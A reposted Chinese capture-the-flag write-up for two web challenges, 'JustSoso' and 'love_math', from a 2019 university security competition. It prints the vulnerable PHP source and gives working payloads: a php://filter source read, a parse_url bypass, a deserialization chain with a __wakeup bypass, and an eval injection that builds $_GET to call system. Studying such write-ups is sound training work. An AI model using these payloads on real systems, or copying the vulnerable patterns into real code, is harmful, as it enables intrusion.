2019全国大学生信息安全竞赛部分Web writeup

转载

weixin_30695195 于 2019-04-23 21:59:00 发布 1055 收藏 2
文章标签： php
原文链接：http://www.cnblogs.com/paperpen/p/10754116.html

JustSoso

0x01

审查元素发现了提示，伪协议拿源码

/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

```
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if (!isset($file)) {
    echo 'Missing parameter' . '<br>';
}
if (preg_match("/flag/", $file)) {
    die('hack attacked!!!');
}
@include ($file);
if (isset($payload)) {
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'], $query);
    foreach ($query as $value) {
        if (preg_match("/flag/", $value)) {
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);
} else {
    echo "Missing parameters";
} ?>
```

/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php

```php
<?php
class Handle{
    private $handle;
    public function __wakeup(){
  foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
 public function __construct($handle) {
        $this->handle = $handle;
    }
 public function __destruct(){
  $this->handle->getFlag();
 }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
  $this->file = $file;
  $this->token_flag = $this->token = md5(rand(1,10000));
    }

 public function getFlag(){
  $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
  {
   if(isset($this->file)){
    echo @highlight_file($this->file,true);
            }
        }
    }
}
?>
```

0x02

这里用到了parse_url函数在解析url时存在的bug

使用///index.php的方式使其返回false，从而绕过了后面的正则匹配

0x03

构造反序列化

```php
class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
```

通过指针引用使两变量值相等

$handle由private修饰，所以要在Handle两边加上%00

```
O:6:"Handle":1:{s:14:"%00Handle%00handle";O:4:"Flag":3:
{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
```

_wakeup()绕过

反序列化时，如果表示对象属性个数的值大于真实的属性个数时就会跳过_wakeup()的执行

```
O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:
{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
```

最终payload为：

```
///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:
{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
```

---

love_math

0x01

审查元素，在js代码中发现calc.php，访问得到源码

```
<script>
  $('#calc').submit(function(){ $.ajax({ url:"calc.php?c="+encodeURIComponent($("#content").val()), type:'GET',
  success:function(data){ $("#result").html(`<div class="alert alert-success"> <strong>答案:</strong>${data} </div>`); },
  error:function(){ alert("连接失败!"); } }) return false; })
</script>
```

```php
<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert',
'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod',
'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log',
'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round',
'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}
```

0x02

经过分析：

有长度限制，不能超过80

虽然有/m，但是\r在黑名单中，所以不存在换行绕过

传给c的参数不能是字母，只允许使用白名单的函数作字符串

要用白名单中的函数将数字转成字母，发现base_convert()和dechex()两个函数

0x03

最终payload：

```
c=$pow%3Dbase_convert(37907361743,10,36)(dechex(1598506324));($$pow){0}(($pow)
{1})&0=system&1=cat%20flag.php
```

解释如下：

dechex(1598506324)得到的是_GET进行hex编码的值

base_convert(37907361743,10,36)得到的是函数hex2bin

c的值定义了$pow=_GET，那么$$pow=$_GET

最后执行的代码为$_GET{system}($_GET{cat flag.php})

转载于:https://www.cnblogs.com/paperpen/p/10754116.html